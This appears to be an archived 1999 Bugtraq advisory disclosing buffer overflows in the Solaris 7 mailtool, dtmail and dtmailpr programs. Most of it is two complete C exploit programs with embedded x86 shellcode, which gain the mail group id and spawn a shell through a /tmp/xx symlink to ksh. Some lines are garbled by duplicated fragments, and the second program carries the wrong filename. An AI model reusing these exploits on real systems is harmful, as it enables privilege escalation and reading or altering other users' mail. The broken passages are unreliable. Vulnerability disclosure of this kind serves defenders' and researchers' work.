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Bugtraq Archives: Solaris7 dtmail/dtmailpr/mailtool Buffer Over

Solaris7 dtmail/dtmailpr/mailtool Buffer Overflow

UNYUN (shadowpenguinBACKSECTION.NET)
Mon, 29 Nov 1999 18:38:44 +0900

Hello

The mailer programs (mailtool and dtmail) and mail message print filter
(dtmailpr) which are installed on Solaris7 have exploitable buffer
overflow bug. These programs are sgid (mail group) programs, local user
can obtain mail group. The mail files are generated with 660 permission,
so any user can read/write other user's mail files.

1) mailtool
This is usually used on the OpenWindow environment. There is a problem
on the handling of "Content-Type:".
For example,

Content-Type: image/aaaaaaaa long 'a' aaaaaa; name="test.gif"

The mailtool overflows if you choose an e-mail which contains such "Content-Type".
If root choose an e-mail which is written the exploit code, a local user
who has mail gid can obtain root privilege.

2) dtmail
This is usually used on the CDE. If the long string is specified with
"-f" option, dtmail overflows. This overflow is exploitable very easy.
You can confirm EIP=0x41414141 when you specify long "a".

3) dtmailpr
dtmailpr is mail message print filter program. This program overflows
"-f" option, too. You can also confirm EIP=0x41414141 with long "a".

I coded the exploits to get mail gid(egid=6). There are for Intel
Solaris7. There are same kind of problems on Sparc Solaris7 and
Solaris2.6 (Intel,Sparc)

ex_mailtool.c
-----
/*=============================================================================
   Solaris mailtool exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguinbacksection.net)
   Descripton:
     Local user can read/write any user's mailbox
   Usage:
     setenv DISPLAY yourdisply
     gcc ex_mailtool.c
     ./a.out /var/mail/[any user]
     - Choice "- Choice "exploitlocalhost" mail
  =============================================================================
*/

#include <stdio.h>

#define FAKEADR 96
#define FAKEOFS 0x1000
#define RETADR 84
#define RETOFS 0x1224
#define EXPADR 300
#define NOP 0x90
#define MAXBUF 2000
#define DIR "/usr/openwin/bin"

#define HEAD \
"From "From exploitlocalhost Fri Nov 26 00:01 JST 1999\n"\
"Content-Type: multipart/mixed; "\
"boundary=\"VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\"\n"\
"Content-Length: 340\n\n"\
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\n"\
"Content-Type: image/%s; name=\"test.gif\"\n"\
"Content-Disposition: attachment;\n"\
" filename=\"test.gif\"\n"\
"Content-Transfer-Encoding: base64\n\n"\
"IA==\n\n"\
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==--\n\n"

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[2000] =
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff/tmp/xx";

main(int argc, char *argv[])
{
    static char buf[MAXBUF];
    FILE *fp;
    unsigned int i,ip,sp;

    if (argc!=2){
        printf("usage : %s mailbox\n",argv[0]);
        exit(1);
    }
    putenv("LANG=");
    sp=get_sp();
    system("ln -s /bin/ksh /tmp/xx");
    printf("esp = 0x%x\n",sp);
    memset(buf,NOP,MAXBUF);
    buf[MAXBUF-1]=0;

    ip=sp-FAKEOFS;
    printf("fake = 0x%x\n",ip);
    buf[FAKEADR ]=ip&0xff;
    buf[FAKEADR+1]=(ip>>8)&0xff;
    buf[FAKEADR+2]=(ip>>16)&0xff;
    buf[FAKEADR+3]=(ip>>24)&0xff;
    ip=sp-RETOFS;
    printf("eip = 0x%x\n",ip);
    buf[RETADR ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;

    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));

    if ((fp=fopen(argv[1],"ab"))==NULL){
        printf("Can not write '%s'\n",argv[1]);
        exit(1);
    }
    fprintf(fp,HEAD,buf);
    fclose(fp);
    printf("Exploit mail has been added.\n");
    printf("Choice \"printf("Choice \"exploitlocalhost\" mail.\n");
    sprintf(buf,"cd %s; mailtool",DIR);
    system(buf);
}

ex_mailtool.c
-----
/*=============================================================================
   Solaris dtmailpr exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguinbacksection.net)
   Descripton:
     Local user can read/write any user's mailbox
  =============================================================================
*/

#include <stdio.h>

#define RETADR 1266
#define RETOFS 0x1d88
#define EXPADR 300
#define NOP 0x90
#define MAXBUF 2000

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[2000] =
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff/tmp/xx";

main()
{
    static char buf[MAXBUF+1000];
    FILE *fp;
    unsigned int i,ip,sp;

    putenv("LANG=");
    sp=get_sp();
    system("ln -s /bin/ksh /tmp/xx");
    printf("esp = 0x%x\n",sp);
    memset(buf,NOP,MAXBUF);
    ip=sp-RETOFS;
    printf("eip = 0x%x\n",ip);
    buf[RETADR ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));
    buf[MAXBUF-1]=0;
    execl("/usr/dt/bin/dtmailpr","dtmailpr","-f",buf,0);
}

-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
   shadowpenguinbacksection.net (webmaster)
% eEye Digital Security Team [ http://www.eEye.com ]
   unyuneEye.com

This archive was generated by hypermail 2.0b3 on Mon Nov 29 1999 - 12:06:22 CST